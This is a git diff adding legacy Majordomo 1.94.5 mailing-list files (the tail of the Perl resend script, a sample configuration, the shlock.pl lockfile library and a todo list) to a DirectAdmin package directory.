s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf new file mode 100644 index 0000000..1c6368e --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/sample.cf @@ -0,0 +1,316 @@ +# +# A sample configuration file for majordomo. You must read through this and +# edit it accordingly! +# + + +# $whereami -- What machine am I running on? +# +$whereami = "example.com"; + +# $whoami -- Who do users send requests to me as? +# +$whoami = "Majordomo\@$whereami"; + +# $whoami_owner -- Who is the owner of the above, in case of problems? +# +$whoami_owner = "Majordomo-Owner\@$whereami"; + +# $homedir -- Where can I find my extra .pl files, like majordomo.pl? +# the environment variable HOME is set by the wrapper +# +if ( defined $ENV{"HOME"}) { + $homedir = $ENV{"HOME"}; +} else { + $homedir = "/etc/virtual/majordomo"; +} + +# $listdir -- Where are the mailing lists? +# +$listdir = "$homedir/lists"; + +# $digest_work_dir -- the parent directory for digest's queue area +# Each list must have a subdirectory under this directory in order for +# digest to work. E.G. The bblisa list would use: +# /usr/local/mail/digest/bblisa +# as its directory. +# +$digest_work_dir = "/usr/local/mail/digest"; + +# $log -- Where do I write my log? +# +$log = "$homedir/Log"; + +# $sendmail_command -- Pathname to the sendmail program +# usually /usr/lib/sendmail, but some newer BSD systems +# seem to prefer /usr/sbin/sendmail +# +$sendmail_command = "/usr/lib/sendmail"; +# $sendmail_command = "/usr/sbin/sendmail"; + +# $mailer -- What program and args do I use to send mail to the list? +# $bounce_mailer -- What is used to send mail anywhere else? +# The variables $to, $from, $subject, and $sender can be interpolated into +# this command line. Note, however, that the $to, $from, and $subject +# variables may be provided by the person sending mail, and much mischief +# can be had by playing with this variable. It is perfectly safe to use +# $sender, but the others are insecure. +# +# Sendmail option -oi: Do not take a . on a line by itself as the message +# terminator. +# Sendmail option -oee: Force sendmail to exit with a zero exit status if +# if it's not going to give useful information. +# +$mailer = "$sendmail_command -oi -oee -f\$sender"; +$bounce_mailer = "$sendmail_command -oi -oee -f\$sender -t"; + +# You can special case the mailer used to deliver outbound mail as follows: +# +# To use TLB and use no outgoing alias: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "/usr/local/majordomo/tlb /usr/local/lists/${opt_l}.tlb"; +# } +# +# To use a different Sendmail queue for this list's mail: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "$sendmail_command -oQ /var/spool/listq -f\$sender"; +# } + +# You can force Majordomo to delay any processing if the system load is too +# high by uncommenting the following lines. THIS ONLY WORKS if your "uptime" +# command (usually found in /usr/bin/uptime or /usr/bsd/uptime) +# returns a string like: +# 5:23pm up 5:51, 9 users, load average: 0.19, 0.25, 0.33 +# +#$max_loadavg = 10; # Choose the maximum allowed load +# +#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime +#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here. +# +#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = +# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/; +# +#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL +# + +# Set the default subscribe policy for new lists here. +# If not defined, defaults to "open", but in today's increasingly +# imbecile Internet, "open+confirm" or "auto+confirm" is a wiser +# choice for publicly available Majordomo servers. +# +$config'default_subscribe_policy = "open+confirm"; + +# +# Configure X400 parsing here. This is functional, but not well tested +# and rather a hack. +# By default all addresses that look x400-ish will be checked for a +# @ sign (meaning that it's headed to an smtp->x400 gateway, as well +# as the 'c=' and 'a[dm]=' parts, which mean something as well. +# +# If you will be receiving x400 style return addresses that do not have +# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1. +# Otherwise, leave $no_x400 at 0. +# +$no_x400at = 0; +# +# If you will be receiving x400 addresses without the c= or a[dm]= parts +# set the $no_true_x400 variable to 1. This will disable checking for +# "c=" and "a[dm]=" pieces. +# +$no_true_x400 = 0; + + +#-------------------------------------------------------------------- +# Stuff below here isn't commonly changed.... +#-------------------------------------------------------------------- +# +# Majordomo will look for "get" and "index" files related to $list in +# directory "$filedir/$list$filedir_suffix", so set $filedir and +# $filedir_suffix appropriately. For instance, to look in +# /usr/local/mail/files/$list, use: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; # empty string +# or to look in $listdir/$list.archive, use: +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; + +$filedir = "$listdir"; +$filedir_suffix = ".archive"; + +# What command should I use to process an "index" request? +# +$index_command = "/bin/ls -lRL"; + +# If you want to use FTPMAIL, rather than local access, for file transfer +# and access, define the following: +# $ftpmail_address = "ftpmail\@decwrl.dec.com"; +# $ftpmail_location = "FTP.$whereami"; + +# if you want the subject of the request to be included as part of the +# subject of the reply (useful when automatically testing, or submitting +# multiple command sets), set $return_subject to 1. +# +$return_subject = 1; + +# If you are using majordomo at the -request address, set the +# following variable to 1. This affects the welcome message that is +# sent to a new subscriber as well as the help text that is generated. +# +$majordomo_request = 0; + +# If you have lists that have who turned off, but still allow which +# requests to work for subscribed members, and you don't want to have +# "which @" to act like a who, the variable $max_which_hits sets the +# number of hits that are allowed using which before an error is returned. +# Arguably this should be a per list settable number. +# +$max_which_hits = 0; + +# Set the umask for the process. Used to set default file status for +# config file. +# +umask(007); +$config_umask = 007; + +# don't change this. It checks to make sure that you have a new enough +# version of perl to run majordomo. It is in here because this file is +# used by almost all of the majordomo programs. +# +die "Perl version $] too old\n" if ($] < 4.019); + +# the safe locations for archive directories +# None of the parameters that use safedirs are actually used, so +# @safedirs is a placeholder for future functionality. +# Just ignore it for version 1.90 through 1.94. +# +@safedirs = ( ); + +# Directory where resend temporarily puts its rewritten output message. +# For the paranoid, this could be changed to a directory that only +# majordomo has r/w permission to. +# Uses the environment variable TMPDIR, since that's pretty common +# +$TMPDIR = $ENV{'TMPDIR'} || "/usr/tmp"; + +# Tune how long set_lock tries to obtain a lock before giving up. Each +# attempt waits 1 to 10 seconds before trying again and waittime is +# the total minimum time spent trying. This defaults to 600 seconds (5 +# minutes), which translates to no less then 60 nor more than 600 tries. +# +# $shlock'waittime = 1200; + +# tune the cookie for subscribe_policy=confirm. Normally this is +# set to $homedir. *Don't* make this something like rand(400), +# the key isn't saved between sessions. +# +# $cookie_seed = "Harry Truman, Doris Day, Red China, Johnnie Ray" . +# " South Pacific, Walter Winchell, Joe DiMaggio"; + +# The maximum character length of the header lines for resend +# +$MAX_HEADER_LINE_LENGTH = 128; + +# The maximum character length of the _entire_ header for resend +# +$MAX_TOTAL_HEADER_LENGTH = 1024; + +# List of perl regular expressions that, if found in the headers of a message, +# will cause the message to be bounced to the list approver. +# Put each regular expression on a separate line before the "END" mark, with +# no trailing ";" +# For example: +# $global_taboo_headers = <<'END'; +# /^from:.*trouble\@hassle\.net/i +# /^subject:.*non-delivery notice/i +# END +# NOTE! Using ' instead of " in the 'END' is VERY IMPORTANT!!! +# + +# Administrative checks. These used to be buried in the resend code +# +$admin_headers = <<'END'; +/^subject:\s*subscribe\b/i +/^subject:\s*unsubscribe\b/i +/^subject:\s*uns\w*b/i +/^subject:\s*.*un-sub/i +/^subject:\s*help\b/i +/^subject:\s.*\bchange\b.*\baddress\b/i +/^subject:\s*request\b(.*\b)?addition\b/i +/^subject:\s*cancel\b/i +END + +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administrivia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +$admin_body = <<'END'; +/\bcancel\b/i +/\badd me\b/i +/\bdelete me\b/i +/\bremove\s+me\b/i +/\bchange\b.*\baddress\b/ +/\bsubscribe\b/i +/^sub\b/i +/\bunsubscribe\b/i +/^unsub\b/i +/\buns\w*b/i +/^\s*help\s*$/i +/^\s*info\s*$/i +/^\s*info\s+\S+\s*$/i +/^\s*lists\s*$/i +/^\s*which\s*$/i +/^\s*which\s+\S+\s*$/i +/^\s*index\s*$/i +/^\s*index\s+\S+\s*$/i +/^\s*who\s*$/i +/^\s*who\s+\S+\s*$/i +/^\s*get\s+\S+\s*$/i +/^\s*get\s+\S+\s+\S+\s*$/i +/^\s*approve\b/i +/^\s*passwd\b/i +/^\s*newinfo\b/i +/^\s*config\b/i +/^\s*newconfig\b/i +/^\s*writeconfig\b/i +/^\s*mkdigest\b/i +END + +# taboo headers to catch +# +$global_taboo_headers = <<'END'; +/^subject: ndn: /i +/^subject:\s*RCPT:/i +/^subject:\s*Delivery Confirmation\b/i +/^subject:\s*NON-DELIVERY of:/i +/^subject:\s*Undeliverable Message\b/i +/^subject:\s*Receipt Confirmation\b/i +/^subject:\s*Failed mail\b/i +/^subject:\s*Returned mail\b/i +/^subject:\s*unable to deliver mail\b/i +/^subject:\s.*\baway from my mail\b/i +/^subject:\s*Autoreply/i +END + +# Taboo body contents to catch and forward to the approval address +# +# For example: +# $global_taboo_body = <<'END'; +# /taboo topic/i +# /another taboo/i +# END +# NOTE! Using ' instead of " in the next line is VERY IMPORTANT!!! +# +$global_taboo_body = <<'END'; +END + +# Majordomo will not send replies to addresses which match this. +# The match is done case-insensitively. +$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; + +1; +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.34 1997/08/27 15:00:31 cwilson Exp $ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl new file mode 100644 index 0000000..1b7ea82 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/shlock.pl @@ -0,0 +1,312 @@ +# PERL implementation of Erik E. Fair's 'shlock' (from the NNTP distribution) +# Ported by Brent Chapman + +# Taken from shlock.pl and majordomo.pl in Majordomo distribution +# Merged into package by Bill Houle + +package shlock; +require 'majordomo.pl'; # For bitch() and abort() + +# These can be predefined elsewhere, e.g. majordomo.cf +$waittime = 600 unless $waittime; +$shlock_debug = 0 unless $shlock_debug; +$warncount = 20 unless $warncount; + +sub alert { + &main'bitch(@_); + &main'abort("shlock: too many warnings") unless --$warncount; +} + +$EPERM = 1; +$ESRCH = 3; +$EEXIST = 17; + +# Lock a process via lockfile. +# +sub main'shlock { + local($file) = shift; + local($tmp); + local($retcode) = 0; + + print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug; + return(undef) unless ($tmp = &extant_file($file)); + + { # redo-controlled loop + unless (link($tmp, $file)) { + if ($! == $EEXIST) { + print STDERR "lock '$file' already exists\n" if $shlock_debug; + if (&check_lock($file)) { + print STDERR "extant lock is valid\n" if $shlock_debug; + } else { + print STDERR "lock is invalid; removing\n" if $shlock_debug; + unlink($file); # no message because it might be gone by now + redo; + } + } else { + &alert("shlock: link('$tmp', '$file'): $!"); + } + } else { + print STDERR "got lock '$file'\n" if $shlock_debug; + $retcode = 1; + } + } + + unlink($tmp) || &alert("shlock: unlink('$file'): $!"); + return($retcode); +} + +# Create a lock file (with retry). +# +sub main'set_lock { + local($lockfile) = @_; + local($slept) = 0; + + while ($slept < $waittime) { + return 1 if &main'shlock("$lockfile"); + + # didn't get the lock; wait 1-10 seconds and try again. + $slept += sleep(int(rand(9) + 1)); + } + # if we got this far, we ran out of tries on the lock. + return undef; +} + +sub main'free_lock { + unlink $_[0]; +} + +# open a file locked for exclusive access; we remember the name of the lock +# file, so that we can delete it when we close the file +# +sub main'lopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + local($status); + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + return undef unless &main'set_lock("$lockfile"); + + # Got the lock; now try to open the file + if ($status = open($FH, $fm)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + &main'free_lock($lockfile); + } + # return the success or failure of the open + return $status; +} + +# reopen a file already opened and locked (probably to change read/write mode). +# We remember the name of the lock file, so that we can delete it when +# we close the file +# +sub main'lreopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + # close the old file handle, and delete the lock reference + if ($lock_files[fileno($FH)]) { + undef($lock_files[fileno($FH)]); + close($FH); + } else { + # the file wasn't already locked + # unlink("$lockfile"); ### Do we really want to do this? + return(undef); + } + + # We've already got the lock; now try to open the file + $status = open($FH, $fm); + if (defined($status)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + unlink("$lockfile"); + } + # return the success or failure of the open + return($status); +} + + +# Close a locked file, deleting the corresponding .lock file. +# +sub main'lclose { + local($FH) = shift; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + local($lock) = $lock_files[fileno($FH)]; + close($FH); + unlink($lock); +} + +# Open a temp file. Ensure it is temporary by checking for other links, etc. +# +sub main'open_temp { + local($FH_name, $filename) = @_; + local($inode1, $inode2, $dev1, $dev2) = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH_name =~ s/^[^':]+$/$package'$&/; + + if ( -e $filename ) { + &alert("Failed to open temp file '$filename', it exists"); + return(undef); + } + + unless (open($FH_name, ">> $filename")) { + local($tempdir) = ($filename =~ m|(.*)/|) ? $1 : "."; + if (! -e $tempdir) { + &main'abort("shlock: '$tempdir' does not exist"); + } + elsif (! -d _) { + &main'abort("shlock: '$tempdir' is not a directory\n"); + } + elsif (! -w _) { + &main'abort("shlock: '$tempdir' is not writable by UID $> GID", + (split(" ", $) ))[0], "\n"); + } + else { + &alert("open of temp file '$filename' failed: $!"); + } + return(undef); + } + + if ( -l $filename ) { + &alert("Temp file '$filename' is a symbolic link after opening"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("'$filename' has more than one link after opening"); + return(undef); + } + + ($dev1, $inode1) = (lstat(_))[0..1]; + local(*FH) = $FH_name; + ($dev2, $inode2) = (stat(FH))[0..1]; + + if ($inode1 != $inode2) { + &alert("Inode for filename does not match filehandle! Inode1=$inode1 Inode2=$inode2"); + return(undef); + } + + if ($dev1 != $dev2) { + &alert("Device for filename does not match filehandle! Dev1=$dev1 Dev2=$dev2"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("filehandle has more than one link after opening"); + return(undef); + } + return(1); +} + +sub is_process { + local($pid) = shift; + + print STDERR "process $pid is " if $shlock_debug; + if ($pid <= 0) { + print STDERR "invalid\n" if $shlock_debug; + return(0); + } + if (kill(0, $pid) <= 0) { + if ($! == $ESRCH) + { print STDERR "dead\n" if $shlock_debug; return 0; } + elsif ($! == $EPERM) + { print STDERR "alive\n" if $shlock_debug; return 1; } + else + { print STDERR "state unknown: $!\n" if $shlock_debug; return 1; } + } + print "alive\n" if $shlock_debug; + return 1; +} + +sub check_lock { + local($file) = shift; + local(*FILE, $pid, $buf); + + print STDERR "checking extant lock '$file'\n" if $shlock_debug; + unless (open(FILE, "$file")) { + &alert("shlock: open('$file'): $!") if $shlock_debug; + return 1; + } + + $pid = int($buf = ); + + if ($pid <= 0) { + close(FILE); + print STDERR "lock file format error\n" if $shlock_debug; + return 0; + } + close(FILE); + return(&is_process($pid)); +} + +sub extant_file { + local($file) = shift; + local(*FILE); + local($tempname); + + $tempname = $file; + if ($tempname =~ /\//) { + $tempname =~ s,/[^\/]*$,/,; + $tempname .= "shlock.$$"; + } else { + $tempname = "shlock.$$"; + } + print STDERR "temporary filename '$tempname'\n" if $shlock_debug; + + { # redo-controlled loop + if ( -e $tempname ) { + print STDERR "file '$tempname' exists\n" if $shlock_debug; + unlink($tempname); # no message because it might be gone by now. + redo; + } + elsif (! &main'open_temp(FILE, $tempname)) { + print STDERR "can't create temporary file '$tempname': $!" + if $shlock_debug; + return(undef); + } + } + + unless (print FILE "$$\n") { + &alert("shlock failed: write('$tempname', '$$'): $!"); + close(FILE); + unlink($tempname) || &alert("shlock: unlink('$tempname'): $!"); + return(undef); + } + close(FILE); + + sleep(15) if $shlock_debug; # give me a chance to look at the lock file + return($tempname); +} + +1; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local new file mode 100644 index 0000000..a0e49d0 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/todo.local @@ -0,0 +1,100 @@ +Partial: add code to override the archive directory on a per list basis. + + config file recognizes keyword archive_dir, majordomo get/index + doesn't use it yet. + +Partial: add more keywords: + + DONE: comments (array)- allow commentary/rcs log info + + process - time interval - if in time interval, process + requests, 